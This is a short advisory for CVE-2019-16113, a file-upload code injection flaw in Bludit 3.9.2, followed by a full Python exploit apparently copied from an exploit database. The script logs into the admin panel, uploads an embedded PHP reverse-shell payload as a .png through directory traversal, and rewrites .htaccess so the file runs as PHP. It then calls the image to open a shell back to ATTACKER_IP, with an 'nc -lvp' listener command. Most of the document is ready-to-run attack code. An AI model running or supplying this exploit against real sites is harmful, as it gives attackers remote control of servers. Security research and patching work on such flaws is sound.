CVE-2019-16113


a vulnerability classified as critical has been found in bludit 3.9.2. This affects some unknown processing of the file bl-kernel/ajax/upload-images.php. The manipulation as part of a File Name leads to a code injection vulnerability. CWE is classifying the issue as CWE-94. The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. This is going to have an impact on confidentiality, integrity, and availability.

exploit


Exploit found online

#!/usr/bin/env python3
 
import sys
import string
import random
import requests
import re
import socket
 
"""
This is a python implementaiton PoC for the Bludit Directory Traversal Image File Upload Vulnerability
 
CVE-2019-16113
Bludit 3.9.2 allows remote code execution via bl-kernel/ajax/upload-images.php because PHP code can be entered
with a .jpg (or .png) file name, and then this PHP code can write other PHP code to a ../ pathname.
 
Original credit:
christasa # Original discovery
sinn3r # Metasploit Module
 
https://www.exploit-db.com/exploits/47699
"""
 
##########################
# Modify as needed
TARGET_URI = "http://127.0.0.1"
 
# Target Bludit credentials
USERNAME = "user"
PASSWORD = "password"
 
# For reverse shell
# Setup listner prior to execution: nc -lvp 303
ATTACKER_IP = '127.0.0.1'
ATTACKER_PORT = '303'
 
##########################
 
# Payload to be sent and executed on target
# https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
PAYLOAD = '<?php set_time_limit (0); $VERSION = "1.0"; $ip = \'' + ATTACKER_IP + '\'; $port = ' + ATTACKER_PORT + '; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = \'uname -a; w; id; /bin/sh -i\'; $daemon = 0; $debug = 0; if (function_exists(\'pcntl_fork\')) {$pid = pcntl_fork(); if ($pid == -1) {printit("ERROR: Can\'t fork"); exit(1);} if ($pid) {exit(0);} if (posix_setsid() == -1) {printit("Error: Can\'t setsid()"); exit(1);} $daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");} chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) {printit("$errstr ($errno)"); exit(1);} $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {printit("ERROR: Can\'t spawn shell"); exit(1);} stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated"); break;} if (feof($pipes[1])) {printit("ERROR: Shell process terminated"); break;} $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input);} if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input);} if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input);}} fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) {if (!$daemon) {print "$string\n";}} ?>'
 
# Create a persistent session to ensure BLUDIT-KEY cookie is obtained and sent with subsequent requests
SESSION = requests.session()
 
def random_string():
    """
    Generates a 10 character random string utilized for payload file name
    """
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(10))
 
EXPLOIT_FILENAME = random_string()
 
def get_csrf_uuid(url, get_uuid=0):
    """
    Returns the hidden form field value of jstokenCSRF that is requried for form submissions
    Optional: this function will also return the uuid hidden form field value if get_uuid is provided during call
    """
    try:
        response = SESSION.get(url)
    except requests.exceptions.RequestException as e:
        print('[!] Falied sending HTTP request: ' , e)
        sys.exit(1)
 
    # Extract the CSRF token value field from thge HTML response with regex
    csrf_token = re.search('(?<=name="tokenCSRF" value=")([a-z0-9]+)(?=">)', response.text).group(0)
 
    # If we need the uuid value as well, extract and return
    if(get_uuid):
        uuid_value = re.search('(?<=name="uuid" value=")[a-z0-9]+(?=">)', response.text).group(0)
        return csrf_token, uuid_value
    else: # otherwise just return the CSRF token
        return csrf_token
 
def do_login():
    """
    Utilizes the declared USERNAME and PASSWORD to create a valid user session
    """
    url = TARGET_URI + '/admin/login.php'
 
    # Obtain the CSRF token for login form submission
    csrf_token = get_csrf_uuid(url)
 
    # Attempt the login
    try:
        response = SESSION.post(url, data = {'tokenCSRF':csrf_token, 'username': USERNAME, 'password': PASSWORD})
    except requests.exceptions.RequestException as e:
        print('[!] Falied sending HTTP request.', e)
        sys.exit(1)
 
    # Verify that the login was successful
    if re.search('(?<=<title>)(Bludit - Dashboard)(?=<\/title>)', response.text):
        print('[+] Login successful!')
    else:
        print('[!] Login Failure. Do you have the correct credentials?')
        sys.exit(1)
 
def exploit():
    """
    First sends the payload as a multi-part HTTP POST request that creates a randomly named .png file containing
    malicious PHP before sending a request to modify the content of .htaccess to disable the RewriteEngine and
    handle .png file requests as application/x-httpd-php MIME type.
    """
    # Obtain the CSRF token for form submission
    csrf_token, uuid = get_csrf_uuid(TARGET_URI + '/admin/new-content/index.php', 1)
 
    url = TARGET_URI + '/admin/ajax/upload-images'
 
    # Send request to create malicious .png within the /bl-content/tmp directory
    files = {'images[]': (EXPLOIT_FILENAME + '.png', PAYLOAD), 'uuid': (None, '../../tmp'), 'tokenCSRF': (None, csrf_token)}
    try:
        response = SESSION.post(url, files=files)
    except requests.exceptions.RequestException as e:
        print('[!] Falied sending HTTP request: ' , e)
        sys.exit(1)
 
    # Verify it was successful
    if response.status_code == 200:
        print('[+] Upload of malicious file ' + EXPLOIT_FILENAME + '.png successful!')
    else:
        print('[!] Error creating malicious .png file. Received HTTP response code: ' + response.status_code)
        sys.ext(1)
 
    # Disable RewriteEngine and change MIME type for .png files to application/x-httpd-php
    files = {'images[]': ('.htaccess', 'RewriteEngine off\nAddType application/x-httpd-php .png'), 'uuid': (None, uuid), 'tokenCSRF': (None, csrf_token)}
    try:
        response = SESSION.post(url, files=files)
    except requests.exceptions.RequestException as e:
        print('[!] Falied sending HTTP request: ' , e)
        sys.exit(1)
 
    # Verify it was successful
    if response.status_code == 200:
        print('[+] Modification of .htaccess successful!')
    else:
        print('[!] Error modifying .htaccess. Received HTTP response code: ' + response.status_code)
        sys.ext(1)
 
def spawn_shell():
    """
    Send a GET request for the newly created malicious .png file within the /bl-content/tmp directory. If the
    exploit was sucessful, this will execute our malicious code.
    """
    url = TARGET_URI + '/bl-content/tmp/' + EXPLOIT_FILENAME + '.png'
    print('[+] Sending request to spawn shell. You may Crtl+C this program once shell is recieved.')
    try:
        response = requests.get(url)
    except requests.exceptions.RequestException as e:
        print('[!] Falied sending HTTP request: ' , e)
        sys.exit(1)
 
do_login()
exploit()
spawn_shell()